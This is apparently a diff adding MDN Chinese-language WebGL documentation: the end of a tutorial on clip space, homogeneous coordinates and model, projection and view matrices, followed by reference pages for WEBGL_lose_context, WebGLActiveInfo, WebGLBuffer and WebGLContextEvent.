着色器是用GLSL编写的代码片段,它接收我们的点数据并最终将它们渲染到屏幕上。为了方便起见,这些着色器存储在 {{htmlelement("script")}} 元素之中,该元素通过自定义函数 MDN.createWebGLProgramFromIds() 引入程序中。这个方法是为这些教程编写的 实用函数 集合的一部分,此处不再赘述。此函数用于处理获取一些GLSL源代码并将其编译为WebGL程序的基础操作。该函数具有三个参数-用于渲染程序的上下文,包含顶点着色器的 {{htmlelement("script")}} 元素的ID和包含片段着色器的 {{htmlelement("script")}} 元素的ID。顶点着色器放置顶点,片段着色器为每个像素着色。

+ +

首先看一下将在屏幕上移动顶点的顶点着色器:

+ +
// 一个顶点位置
+attribute vec3 position;
+
+void main() {
+
+  // gl_Position 是顶点着色器对其修改后在裁剪空间的最终位置
+  gl_Position = vec4(position, 1.0);
+}
+
+ +

接下来,要实际将数据栅格化为像素,片段着色器将在每个像素的基础上计算评估一切,设置一个单一颜色。GPU为需要渲染的每个像素调用着色器方法。着色器的工作是返回要用于该像素的颜色。

+ +
precision mediump float;
+uniform vec4 color;
+
+void main() {
+  gl_FragColor = color;
+}
+
+ +

有了这些设置,是时候使用裁剪空间坐标直接绘制到屏幕了。

+ +
var box = new WebGLBox();
+
+ +

首先在中间画一个红色框。

+ +
box.draw({
+
+  top    : 0.5,             // x
+  bottom : -0.5,            // x
+  left   : -0.5,            // y
+  right  : 0.5,             // y
+
+  depth  : 0,               // z
+  color  : [1, 0.4, 0.4, 1] // red
+});
+
+ +

接下来,在上面的红色框的后面绘制一个绿色框。

+ +
box.draw({
+
+  top    : 0.9,             // x
+  bottom : 0,               // x
+  left   : -0.9,            // y
+  right  : 0.9,             // y
+
+  depth  : 0.5,             // z
+  color  : [0.4, 1, 0.4, 1] // green
+});
+
+ +

最后,为了演示裁剪实际上发生了,这个框没有被绘制,因为它完全在裁剪空间之外,深度超出 -1.0 到 1.0 的范围。

+ +
box.draw({
+
+  top    : 1,               // x
+  bottom : -1,              // x
+  left   : -1,              // y
+  right  : 1,               // y
+
+  depth  : -1.5,            // z
+  color  : [0.4, 0.4, 1, 1] // blue
+});
+
+ +

结果

+ +

在JSFiddle中查看

+ +

The results of drawing to clip space using WebGL.

+ +

练习

+ +

在这一点上一个有用的练习是通过更改代码来使框在裁剪空间中移动,感受点是如何在裁剪空间中被剪切和移动的。尝试画一张有背景的方形笑脸。

+ +

齐次坐标

+ +

之前的裁剪空间顶点着色器主要包含以下代码:

+ +
gl_Position = vec4(position, 1.0);
+
+ +

位置变量是在 draw() 方法中定义的,并作为 attribute 传递给着色器。这是一个三维点,但最终通过管线传递的 gl_Position 变量实际上是四维的 - 是 (x,y,z,w) 而不是  (x,y,z) 。 z 后面没有字母了,因此习惯上将第四维标记为 w。在上面的示例中,  w 坐标设置为1.0。

+ +

显而易见的问题是:“为什么要增加维度?”。事实证明,这种增加允许使用许多不错的技术来处理3D数据。这个增加的维度将透视的概念引入坐标系中。将其放置在适当的位置后,我们可以将3D坐标映射到2D空间中,从而允许两条平行线当它们延伸到远方时相交。 w 的值被用作该坐标的其他分量放除数,因此  x,   y 和  z 的真实值被计算为  x/w ,  y/w 和  z/w(然后 w 也  w/w , 变成1)。

+ +

三维点定义在典型的笛卡尔坐标系中。增加的第四维将这一点变为  {{interwiki("wikipedia", "homogeneous coordinates", "齐次坐标")}} 。它仍然代表3D空间中的一个点,并且可以通过一对简单的函数轻松地演示如何构造这种类型的坐标。

+ +
function cartesianToHomogeneous(point) {
+
+  var x = point[0];
+  var y = point[1];
+  var z = point[2];
+
+  return [x, y, z, 1];
+}
+
+function homogeneousToCartesian(point) {
+
+  var x = point[0];
+  var y = point[1];
+  var z = point[2];
+  var w = point[3];
+
+  return [x/w, y/w, z/w];
+}
+
+ +

正如前面提到的和上面展示的函数,w 分量将和 x, y 和z相除。当 w 分量为非零实数时,齐次坐标很容易转换回笛卡尔空间中。现在,如果 w 分量为零会发生什么?在JavaScript 中,返回值如下:

+ +
homogeneousToCartesian([10, 4, 5, 0]);
+
+ +

计算结果为: [Infinity, Infinity, Infinity].

+ +

该齐次坐标表示无穷大的某个点。这是一种方便的方式表示从原点向特定方向发射的射线。除了射线,还可以将其视为方向矢量的表示。如果将此齐次坐标和带有平移的矩阵相乘,则该平移将被有效地消去了。

+ +

当计算机上的数字非常大(或非常小)时,它们的精确度将越来越低,因为仅用这么多的“1”和“0”来表示它们。对较大的数字执行的操作越多,结果中就会积累越来越多的错误。当除以 w 时,这可以通过两个可能更小,更不易出错的数字进行运算来有效地提高非常大的数字的精度。

+ +

使用齐次坐标的最终好处是,它们非常适合与4x4矩阵相乘。一个顶点必须至少与矩阵的一个维数(行/列)匹配,才能与其相乘。4x4矩阵可用于编码各种转换。实际上,典型的透视矩阵使用 w 分量除法来实现其变换。

+ +

实际上,在将齐次坐标转换回笛卡尔坐标之后(通过除以w),会发生从裁剪空间中裁剪点和多边形的情况。该最终空间称为归一化设备坐标或NDC。

+ +

为了开始使用这个思想,可以修改前面的示例,以允许使用 w 分量。

+ +
// 重新定义三角形以使用 W 分量
+var data = new Float32Array([
+
+  //Triangle 1
+  settings.left,  settings.bottom, settings.depth, settings.w,
+  settings.right, settings.bottom, settings.depth, settings.w,
+  settings.left,  settings.top,    settings.depth, settings.w,
+
+  //Triangle 2
+  settings.left,  settings.top,    settings.depth, settings.w,
+  settings.right, settings.bottom, settings.depth, settings.w,
+  settings.right, settings.top,    settings.depth, settings.w
+]);
+
+ +

然后,顶点着色器使用传入的4维点。

+ +
attribute vec4 position;
+
+void main() {
+  gl_Position = position;
+}
+
+ +

首先,我们在中间绘制一个红色框,但将 W 设置为 0.7。但坐标除以0.7时,它们全部会被放大。

+ +
box.draw({
+
+  top    : 0.5,             // x
+  bottom : -0.5,            // x
+  left   : -0.5,            // y
+  right  : 0.5,             // y
+  w      : 0.7,             // w - 放大这个盒子
+
+  depth  : 0,               // z
+  color  : [1, 0.4, 0.4, 1] // red
+});
+
+ +

现在,我们在上面绘制一个绿色框,但是通过将 w 分量设置为 1.1 来缩小它。

+ +
box.draw({
+
+  top    : 0.9,             // x
+  bottom : 0,               // x
+  left   : -0.9,            // y
+  right  : 0.9,             // y
+  w      : 1.1,             // w - 缩小这个盒子
+
+  depth  : 0.5,             // z
+  color  : [0.4, 1, 0.4, 1] // green
+});
+
+ +

最后一个框未被绘制,因为它在裁剪空间之外。深度超出 -1.0 到 1.0 范围。

+ +
box.draw({
+
+  top    : 1,               // x
+  bottom : -1,              // x
+  left   : -1,              // y
+  right  : 1,               // y
+  w      : 1.5,             // w - 把这个盒子带回范围内
+
+  depth  : -1.5,             // z
+  color  : [0.4, 0.4, 1, 1] // blue
+});
+
+ +

结果

+ +

在JSFiddle中查看

+ +

The results of using homogeneous coordinates to move the boxes around in WebGL.

+ +

练习

+ + + +

模型转换

+ +

将点直接放入裁剪空间的用途有限。在现实世界的应用程序中,你拥有的源坐标不全部在裁剪空间中。因此大多数时候,你需要将模型数据和其他坐标转换到裁剪空间中。简单的立方体就是一个如何执行此操作的简单示例。立方体数据由顶点位置,立方体表面颜色和构成单个多边形的顶点位置的顺序组成(以3个顶点为一组,以构成立方体表面的三角形)。这些位置和颜色存储在GL缓冲区中,作为属性发到着色器,然后分别进行操作。

+ +

最后,计算并设置单个模型矩阵。该矩阵表示要在组成模型的每个点上执行的转换,以将其移到正确的空间,并在模型中的每个点上执行任何其他所需的转换。这不仅适用于每一个顶点,而且还适用于模型每个表面的每个点。

+ +

在这种情况下,对于动画的每一帧,一系列缩放,旋转和平移矩阵会将数据移动到裁剪空间中所需的位置。这个立方体是裁剪空间(-1, -1, -1) 到 (1, 1, 1)的大小,因此需要缩小以不填满整个裁剪空间。该矩阵事先已经在JavaScript中进行了乘法运算,直接发到着色器。

+ +

以下代码示例在  CubeDemo 对象上定义了一个创建模型矩阵的方法。它使用了自定义函数来创建和乘以 MDN WebGL 共享代码中定义的矩阵。新的函数如下:

+ +
CubeDemo.prototype.computeModelMatrix = function(now) {
+
+  // 缩小50%
+  var scale = MDN.scaleMatrix(0.5, 0.5, 0.5);
+
+  // 轻微旋转
+  var rotateX = MDN.rotateXMatrix(now * 0.0003);
+
+  // 根据时间旋转
+  var rotateY = MDN.rotateYMatrix(now * 0.0005);
+
+  // 稍微向下移动
+  var position = MDN.translateMatrix(0, -0.1, 0);
+
+  // 相乘,确定以相反的顺序读取它们
+  this.transforms.model = MDN.multiplyArrayOfMatrices([
+    position, // step 4
+    rotateY,  // step 3
+    rotateX,  // step 2
+    scale     // step 1
+  ]);
+};
+
+ +

为了在着色器中使用它,必须将其设置在 uniforms 的位置。uniforms 的位置保存在 locations 对象中,如下所示:

+ +
this.locations.model = gl.getUniformLocation(webglProgram, 'model');
+
+ +

最后,将 uniforms 设置在那个位置,这就把矩阵交给了GPU。

+ +
gl.uniformMatrix4fv(this.locations.model, false, new Float32Array(this.transforms.model));
+
+ +

在着色器中,每个位置顶点首先被转换为齐次坐标(vec4对象),然后与模型矩阵相乘。

+ +
gl_Position = model * vec4(position, 1.0);
+
+ +
+

注意: 在 JavaScript 中,矩阵乘法需要自定义函数,而在着色器中,它使用了内置在语言中的简单的 * 运算。

+
+ +

结果

+ +

在JSFiddle中查看

+ +

Using a model matrix

+ +

此时,变换点的w值仍为1.0。立方体仍然没有什么角度。下一节将进行此设置并修改w值以提供一些透视效果。

+ +

练习

+ + + +

除以 W

+ +

一个开始了解立方体模型透视的简单方法是获取Z坐标并将其复制到w坐标。通常,将笛卡尔点转换为齐次坐标时,它变为  (x,y,z,1) ,但我们将其设置为  (x,y,z,z) 。实际上,我们希望确保视图中的点的z值大于0,因此我们将其值改为  ((1.0 + z) * scaleFactor) 对其进行轻微的修改。这将需要一个通常位于裁剪空间(-1到1)中的点,并将其移到更像(0到1)的空间中,具体取决于比例因子设置为什么。比例因子将最终w值更改为总体上更高或更低。

+ +

着色器代码如下:

+ +
// 首先转换点
+vec4 transformedPosition = model * vec4(position, 1.0);
+
+// 透视有多大的影响?
+float scaleFactor = 0.5;
+
+// 通过采用介于-1到1之间的z值来设置w
+// 然后进行缩放为0到某个数,在这种情况下为0到1
+float w = (1.0 + transformedPosition.z) * scaleFactor;
+
+// 使用自定义w分量保存新的 gl_Position
+gl_Position = vec4(transformedPosition.xyz, w);
+
+ +

结果

+ +

在JSFiddle中查看

+ +

Filling the W component and creating some projection.

+ +

看到那个深蓝色的小三角形吗?那是添加到对象上的另一个面,因为形状的旋转导致了该角延伸到裁剪空间之外,从而导致该角被裁剪掉。有关如何使用更复杂的矩阵来帮助控制和防止裁剪的介绍,请参照下面的 {{anch("Perspective matrix")}}。

+ +

练习

+ +

如果这听起来有点抽象,请打开顶点着色器,然后使用比例因子,观察其如何将顶点向表面进一步收缩。完全更改w分量的值,以表示真实空间。

+ +

在下一节中,我们将执行把Z值复制到w插槽并将其转换为矩阵的步骤。

+ +

简单投影

+ +

填充w分量的最后一步实际上可以用一个简单的矩阵完成。从 identity 矩阵开始:

+ +
var identity = [
+  1, 0, 0, 0,
+  0, 1, 0, 0,
+  0, 0, 1, 0,
+  0, 0, 0, 1,
+];
+
+MDN.multiplyPoint(identity, [2, 3, 4, 1]);
+//> [2, 3, 4, 1]
+
+ +

然后将最后一列的 1 向上移动一个空格。

+ +
var copyZ = [
+  1, 0, 0, 0,
+  0, 1, 0, 0,
+  0, 0, 1, 1,
+  0, 0, 0, 0,
+];
+
+MDN.multiplyPoint(copyZ, [2, 3, 4, 1]);
+//> [2, 3, 4, 4]
+
+ +

但是,在最后一个示例中,我们执行了 (z + 1) * scaleFactor:

+ +
var scaleFactor = 0.5;
+
+var simpleProjection = [
+  1, 0, 0, 0,
+  0, 1, 0, 0,
+  0, 0, 1, scaleFactor,
+  0, 0, 0, scaleFactor,
+];
+
+MDN.multiplyPoint(simpleProjection, [2, 3, 4, 1]);
+//> [2, 3, 4, 2.5]
+
+ +

进一步展开我们可以看到它是如何工作的:

+ +
var x = (2 * 1) + (3 * 0) + (4 * 0) + (1 * 0)
+var y = (2 * 0) + (3 * 1) + (4 * 0) + (1 * 0)
+var z = (2 * 0) + (3 * 0) + (4 * 1) + (1 * 0)
+var w = (2 * 0) + (3 * 0) + (4 * scaleFactor) + (1 * scaleFactor)
+
+ +

最后一行可以简化为:

+ +
w = (4 * scaleFactor) + (1 * scaleFactor)
+
+ +

然后将 scaleFactor 提取出来,我们得到:

+ +
w = (4 + 1) * scaleFactor
+
+ +

这与我们在前面示例中使用的  (z + 1) * scaleFactor 完全相同。

+ +

在 box demo中,添加了一个额外的 .computeSimpleProjectionMatrix() 方法。在 .draw() 方法中调用,并将比例因子传递给它。结果应该与上一个示例相同:

+ +
CubeDemo.prototype.computeSimpleProjectionMatrix = function(scaleFactor) {
+
+	this.transforms.projection = [
+		1, 0, 0, 0,
+		0, 1, 0, 0,
+		0, 0, 1, scaleFactor,
+		0, 0, 0, scaleFactor
+	];
+
+};
+
+ +

尽管结果相同,但重要的步骤还是在顶点着色器中。与其直接修改顶点,不如将其乘以一个附加的 {{anch("Projection matrix", "projection matrix")}},该矩阵将3D点投影到2D绘图表面上:

+ +
// 确保以相反的顺序读取转换矩阵
+gl_Position = projection * model * vec4(position, 1.0);
+
+ +

结果

+ +

在JSFiddle中查看

+ +

A simple projection matrix

+ +

透视矩阵

+ +

至此,我们逐步构建了自己的3D渲染设置。但是,我们当前构建的代码存在一些问题。首先,每当我们调整窗口大小时,它就会倾斜。另外是我们的简单投影无法处理场景数据的大范围值。大多数场景在裁剪空间中不起作用。定义与场景相关的距离是很有帮助的,这样在转换数字时不会损失精度。最后,对哪些点放在裁剪空间的内部和外部进行精度控制非常有帮助。在前面的例子中,立方体的角偶尔会被裁剪。

+ +

透视矩阵是一种可以满足这些要求的投影矩阵。也开始涉及数学更多的内容,这些示例中将不做充分解释。简而言之,它结合了除以w(与前面的例子相同)和基于 相似三角形 相似三角形的一些巧妙操作。如果你想阅读有关其背后数学的完整说明,请查看以下一些链接:

+ + + +

关于下面使用的透视矩阵,需要注意的一件重要的事是它会翻转z轴。在裁剪空间中,z+原理观察者,而使用此矩阵,它朝向观察者。

+ +

翻转z轴的原因是,裁剪空间坐标系是左手坐标系(z轴指向远离观察者并指入屏幕的位置),而数学,物理学和3D建模中的惯例与OpenGL中视图/眼睛坐标系一样,是使用右手坐标系(z轴指向屏幕,朝向观察者)。有关的Wikipedia文章的更多信息:直角坐标系右手法则

+ +

让我们看一下  perspectiveMatrix() 函数,该函数计算了透视矩阵。

+ +
MDN.perspectiveMatrix = function(fieldOfViewInRadians, aspectRatio, near, far) {
+
+  var f = 1.0 / Math.tan(fieldOfViewInRadians / 2);
+  var rangeInv = 1 / (near - far);
+
+  return [
+    f / aspectRatio, 0,                          0,   0,
+    0,               f,                          0,   0,
+    0,               0,    (near + far) * rangeInv,  -1,
+    0,               0,  near * far * rangeInv * 2,   0
+  ];
+}
+
+ +

此函数的四个参数是:

+ +
+
fieldOfviewInRadians
+
一个以弧度表示的角度,指示观看者一层可以看多少场景。数字越大,摄像机可见的越多。边缘的几何形状变得越来越失真,等同于广角镜。当视野更大时,物体通常会变小。当视野较小时,摄像机在场景中的看到的东西会越来越少。物体因透视而变形的程度要小得多,并且物体似乎更靠近相机。
+
aspectRatio
+
场景的宽高比,等于其宽度除以其高度。在本示例中,就是窗口的宽度除以窗口的高度。此参数的引入最终解决了当画布调整大小和形状时模型的变形问题。
+
nearClippingPlaneDistance
+
一个正数,表示到屏幕的距离是垂直于地板的平面的距离,该距离比将所有内容都裁剪的距离更近。它在裁剪空间中映射为-1,并且不应设置为0。
+
farClippingPlaneDistance
+
一个正数,表示与平面之间的距离,超出该距离将裁剪几何体。它在裁剪空间中映射为1.该值应保持合理的距离以接近几何图形的距离,以免在渲染时出现精度误差。
+
在最新版本的盒子demo中, computeSimpleProjectionMatrix() 函数已替换为 computePerspectiveMatrix() 函数。
+
+ +
CubeDemo.prototype.computePerspectiveMatrix = function() {
+
+  var fieldOfViewInRadians = Math.PI * 0.5;
+  var aspectRatio = window.innerWidth / window.innerHeight;
+  var nearClippingPlaneDistance = 1;
+  var farClippingPlaneDistance = 50;
+
+  this.transforms.projection = MDN.perspectiveMatrix(
+    fieldOfViewInRadians,
+    aspectRatio,
+    nearClippingPlaneDistance,
+    farClippingPlaneDistance
+  );
+};
+
+ +

着色器代码与前面的示例相同:

+ +
gl_Position = projection * model * vec4(position, 1.0);
+
+ +

此外(未显示),更改了模型的位置和缩放矩阵,以使其脱离裁剪空间并进入更大的坐标系。

+ +

结果

+ +

在JSFiddle中查看

+ +

A true perspective matrix

+ +

练习

+ + + +

视图矩阵

+ +

尽管某些图形库提供的虚拟相机可以在构成场景时可以定位和指向,但OpenGL(以及扩展的WebGL)却没有。这是视图矩阵的用处。它的作用是平移,旋转和缩放场景中的物体,以使根据观察者的位置和方向将它们放置到正确的位置。

+ +

模拟相机

+ +

这利用了爱因斯坦狭义相对论的基本理论之一:参考系和相对运动的原理说,从观察者的角度来看,你可以通过将相反的变化应用于场景中的物体来模拟改变观察者的位置和方向。无论哪种方式,结果似乎对于观察者是一样的。

+ +

假设一个位于桌子上的盒子和一个放在一米外的桌子上的相机,它指向盒子,盒子的正面指向相机。然后考虑将相机从盒子中移开,直到2米远(通过在相机的Z值增加1米),然后将其向左滑动10厘米。盒子与相机的距离缩小了一定量,并向右稍微滑动,从而在相机中看起来较小,左侧的一小部分也暴露在相机前。

+ +

现在,让我们重置场景,将盒子放回它的起始点,使相机距离盒子2米,并正对着盒子。但这一次,相机被锁定在桌子上无法移动或旋转。这就是在WebGL中运作的样子。那,我们如何模拟在空间中移动的相机?

+ +

我们没有向后和向左移动相机,而是对盒子应用了逆变换:我们将盒子向后移动1米,然后向右移动10厘米。从两个物体的角度来看,结果是一样的。

+ +

<<< insert image(s) here >>>

+ +

最后一步是创建视图矩阵,该矩阵将转换场景中的对象,以便对它们进行定位以模拟相机当前位置与方向。目前的代码可以在世界空间中移动立方体并投影所有内容以获得透视图,但我们仍然无法移动相机。

+ +

想象一下使用物理摄像机拍摄电影。你可以自由地将相机放到任何你想放置的位置,并对准任何你选择的方向。为了在3D图形中对此进行仿真,我们使用视图矩阵来模拟物理相机的位置和旋转。

+ +

与直接转换模型顶点的模型矩阵不同,视图矩阵会移动一个抽象的相机。实际上,顶点着色器仍然移动的是模型,而“相机”保持在原位。为了使此计算正确,必须使用变换矩阵的逆。逆矩阵实质上是逆转了变换,因此,如果我们向前移动相机,则逆矩阵会导致场景中的物体向后移动。

+ +

以下的  computeViewMatrix() 函数通过向内和向外,向左和向右移动的视图矩阵来激活视图矩阵。

+ +
CubeDemo.prototype.computeViewMatrix = function(now) {
+
+  var moveInAndOut = 20 * Math.sin(now * 0.002);
+  var moveLeftAndRight = 15 * Math.sin(now * 0.0017);
+
+  // 各个方向移动相机
+  var position = MDN.translateMatrix(moveLeftAndRight, 0, 50 + moveInAndOut );
+
+  // 相乘,确保以相反的顺序读取它们
+  var matrix = MDN.multiplyArrayOfMatrices([
+
+    // 练习: 旋转相机的视角
+    position
+  ]);
+
+  // 翻转相机的运动操作,因为我们实际上是
+  // 移动场景中的几何图形,而不是相机本身
+  this.transforms.view = MDN.invertMatrix(matrix);
+};
+
+ +

着色器现在使用三个矩阵。

+ +
gl_Position = projection * view * model * vec4(position, 1.0);
+
+ +

此步骤后,GPU管线将裁剪超出范围的顶点,并将模型向下发送到片段着色器以进行栅格化。

+ +

结果

+ +

在JSFiddle中查看

+ +

The view matrix

+ +

相关坐标系

+ +

此时,回顾并标记我们使用的各种坐标系是很有用的。首先,在模型空间中定义了立方体的顶点。在场景中移动模型。这些顶点需要通过应用模型矩阵转换到世界空间

+ +

模型空间 → 模型矩阵 → 世界空间

+ +

相机尚未执行任何操作,需要再次移动这些点。目前它们在世界空间中,但需要将它们移动到视图空间(使用视图矩阵)以表示相机的位置。

+ +

世界空间 → 视图矩阵 → 视图空间

+ +

最后,需要添加投影(在我们的示例中是透视矩阵),以便将世界坐标映射到裁剪空间。

+ +

视图空间 → 投影矩阵 → 裁剪空间

+ +

练习

+ + + +

参见

+ + + + diff --git a/files/zh-cn/web/api/webgl_lose_context/index.html b/files/zh-cn/web/api/webgl_lose_context/index.html new file mode 100644 index 0000000000..90f32d5418 --- /dev/null +++ b/files/zh-cn/web/api/webgl_lose_context/index.html @@ -0,0 +1,74 @@ +--- +title: WEBGL_lose_context +slug: Web/API/WEBGL_lose_context +tags: + - API + - WebGL + - WebGL扩展 + - 参考 +translation_of: Web/API/WEBGL_lose_context +--- +
{{APIRef("WebGL")}}
+ +

WEBGL_lose_context 是属于 WebGL API 的一个扩展API,它提供一组方法用来模拟一个 {{domxref("WebGLRenderingContext")}} 上下文的丢失和恢复。

+ +

WebGL扩展可以通过 {{domxref("WebGLRenderingContext.getExtension()")}} 方法来使用。更多信息可参阅 WebGL教程 中的 使用WebGL扩展 。

+ +
+

可用性:该扩展在 {{domxref("WebGLRenderingContext", "WebGL1", "", 1)}} 和 {{domxref("WebGL2RenderingContext", "WebGL2", "", 1)}} 上下文中都是可用的。

+
+ +

方法

+ +
+
{{domxref("WEBGL_lose_context.loseContext()")}}
+
模拟上下文丢失。
+
{{domxref("WEBGL_lose_context.restoreContext()")}}
+
模拟上下文恢复。
+
+ +

示例

+ +

使用这个扩展,你可以模拟 {{Event("webglcontextlost")}} 和 {{Event("webglcontextrestored")}} 事件:

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+
+canvas.addEventListener('webglcontextlost', function(e) {
+  console.log(e);
+}, false);
+
+gl.getExtension('WEBGL_lose_context').loseContext();
+
+// 打印了 "webglcontextlost" 类型的 WebGLContextEvent 事件。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WEBGL_lose_context', "", "WEBGL_lose_context")}}{{Spec2('WEBGL_lose_context')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.WEBGL_lose_context.loseContext")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/webgl_lose_context/losecontext/index.html b/files/zh-cn/web/api/webgl_lose_context/losecontext/index.html new file mode 100644 index 0000000000..596b72ac30 --- /dev/null +++ b/files/zh-cn/web/api/webgl_lose_context/losecontext/index.html @@ -0,0 +1,66 @@ +--- +title: WEBGL_lose_context.loseContext() +slug: Web/API/WEBGL_lose_context/loseContext +tags: + - API + - Method + - Reference + - WebGL + - WebGL extension +translation_of: Web/API/WEBGL_lose_context/loseContext +--- +
{{APIRef("WebGL")}}
+ +

WEBGL_lose_context.loseContext()属于 WebGL API, 一般用来模拟 {{domxref("WebGLRenderingContext")}} 的上下文丢失。

+ +

这个方法会触发WebGL规范中上下文丢失的相关事件。通过这个方法丢失的上下文可以通过 {{domxref("WEBGL_lose_context.restoreContext()")}} 恢复。

+ +

语法

+ +
gl.getExtension('WEBGL_lose_context').loseContext();
+ +

示例

+ +

你可以用这个方法模拟 webglcontextlost 事件:

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+
+canvas.addEventListener('webglcontextlost', function(e) {
+  console.log(e);
+}, false);
+
+gl.getExtension('WEBGL_lose_context').loseContext();
+
+// webglcontextlost事件被触发。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WEBGL_lose_context', "", "WEBGL_lose_context.loseContext")}}{{Spec2('WEBGL_lose_context')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WEBGL_lose_context.loseContext")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webgl_lose_context/restorecontext/index.html b/files/zh-cn/web/api/webgl_lose_context/restorecontext/index.html new file mode 100644 index 0000000000..4313234364 --- /dev/null +++ b/files/zh-cn/web/api/webgl_lose_context/restorecontext/index.html @@ -0,0 +1,68 @@ +--- +title: WEBGL_lose_context.restoreContext() +slug: Web/API/WEBGL_lose_context/restoreContext +tags: + - API + - Method + - Reference + - WebGL + - WebGL extension +translation_of: Web/API/WEBGL_lose_context/restoreContext +--- +
{{APIRef("WebGL")}}
+ +

WEBGL_lose_context.restoreContext() 属于 WebGL API。 , 一般用来模拟 {{domxref("WebGLRenderingContext")}} 的上下文恢复。

+ +

语法

+ +
gl.getExtension('WEBGL_lose_context').restoreContext();
+ +

抛出错误

+ + + +

示例

+ +

你可以用这个方法模拟  webglcontextrestored 事件:

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+
+canvas.addEventListener('webglcontextrestored', function(e) {
+  console.log(e);
+}, false);
+
+gl.getExtension('WEBGL_lose_context').restoreContext();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WEBGL_lose_context', "", "WEBGL_lose_context.loseContext")}}{{Spec2('WEBGL_lose_context')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WEBGL_lose_context.restoreContext")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglactiveinfo/index.html b/files/zh-cn/web/api/webglactiveinfo/index.html new file mode 100644 index 0000000000..18a7b022da --- /dev/null +++ b/files/zh-cn/web/api/webglactiveinfo/index.html @@ -0,0 +1,64 @@ +--- +title: WebGLActiveInfo +slug: Web/API/WebGLActiveInfo +translation_of: Web/API/WebGLActiveInfo +--- +
{{APIRef("WebGL")}}
+ +

WebGLActiveInfoWebGL API 的一部分,并且代表了调用 {{domxref("WebGLRenderingContext.getActiveAttrib()")}} 和{{domxref("WebGLRenderingContext.getActiveUniform()")}} 这两个方法后传回的信息。

+ +

属性值

+ +
+
{{domxref("WebGLActiveInfo.name")}}
+
请求变量的只读名称。
+
{{domxref("WebGLActiveInfo.size")}}
+
请求变量的只读尺寸。
+
{{domxref("WebGLActiveInfo.type")}}
+
请求变量的只读类型。
+
+ +

示例

+ +

WebGLActiveInfo 对象可以通过以下方式返回:

+ + + +
WebGLActiveInfo? getActiveAttrib(WebGLProgram? program, GLuint index);
+WebGLActiveInfo? getActiveUniform(WebGLProgram? program, GLuint index);
+WebGLActiveInfo? getTransformFeedbackVarying(WebGLProgram? program, GLuint index)
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('WebGL', "#5.11", "WebGLActiveInfo")}}{{Spec2('WebGL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLActiveInfo.WebGLActiveInfo")}}

+ +

另请参见

+ + diff --git a/files/zh-cn/web/api/webglbuffer/index.html b/files/zh-cn/web/api/webglbuffer/index.html new file mode 100644 index 0000000000..631e923eb4 --- /dev/null +++ b/files/zh-cn/web/api/webglbuffer/index.html @@ -0,0 +1,65 @@ +--- +title: WebGLBuffer +slug: Web/API/WebGLBuffer +tags: + - API + - WebGL + - 参考 +translation_of: Web/API/WebGLBuffer +--- +

{{APIRef("WebGL")}}

+ +

WebGLBuffer 接口属于 WebGL API 的一部分,表示一个不透明的缓冲区对象,储存诸如顶点或着色之类的数据。

+ +

描述

+ +

WebGLBuffer 对象没有定义任何自己的方法或属性,且内容不能被直接访问。 当使用 WebGLBuffer 对象时, {{domxref("WebGLRenderingContext")}} 下的这些方法会很有用:

+ + + +

示例

+ +

创建一个缓冲区

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createBuffer();
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('WebGL', "#5.4", "WebGLBuffer")}}{{Spec2('WebGL')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLBuffer")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/webglcontextevent/index.html b/files/zh-cn/web/api/webglcontextevent/index.html new file mode 100644 index 0000000000..394341191e --- /dev/null +++ b/files/zh-cn/web/api/webglcontextevent/index.html @@ -0,0 +1,74 @@ +--- +title: WebGLContextEvent +slug: Web/API/WebGLContextEvent +translation_of: Web/API/WebGLContextEvent +--- +
{{APIRef("WebGL")}}
+ +

WebContextEvent 接口属于 WebGL API 的一部分,同时也是生成用来对 WebGL 渲染上下文作响应的事件接口。

+ +

继承

+ +

此接口从它的父接口 {{domxref("Event")}}继承属性和方法。

+ +

{{InheritanceDiagram}}

+ +

属性

+ +

此接口从它的父接口 {{domxref("Event")}}继承属性。

+ +
+
{{domxref("WebGLContextEvent.statusMessage")}}
+
一个包含事件额外信息的只读属性。
+
+ +

方法

+ +

此接口本身并没有定义任何方法,而是从它的父接口 {{domxref("Event")}}继承方法。

+ +

示例

+ +

使用 {{domxref("WEBGL_lose_context")}} 插件, 你可以模拟 {{Event("webglcontextlost")}} 和 {{Event("webglcontextrestored")}} 事件:

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+
+canvas.addEventListener('webglcontextlost', function(e) {
+  console.log(e);
+}, false);
+
+gl.getExtension('WEBGL_lose_context').loseContext();
+
+// 记录了 "webglcontextlost" 类型的 WebGLContextEvent 事件
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('WebGL', "#5.15", "WebGLContextEvent")}}{{Spec2('WebGL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLContextEvent")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/webglframebuffer/index.html b/files/zh-cn/web/api/webglframebuffer/index.html new file mode 100644 index 0000000000..089d3a952f --- /dev/null +++ b/files/zh-cn/web/api/webglframebuffer/index.html @@ -0,0 +1,61 @@ +--- +title: WebGLFramebuffer +slug: Web/API/WebGLFramebuffer +translation_of: Web/API/WebGLFramebuffer +--- +
{{APIRef("WebGL")}}
+ +

WebGLFramebuffer 接口时 WebGL API 的一部分,它提供了一个缓冲区的集合,这些缓冲区可以作为一个整体用作渲染操作的目标缓冲区。

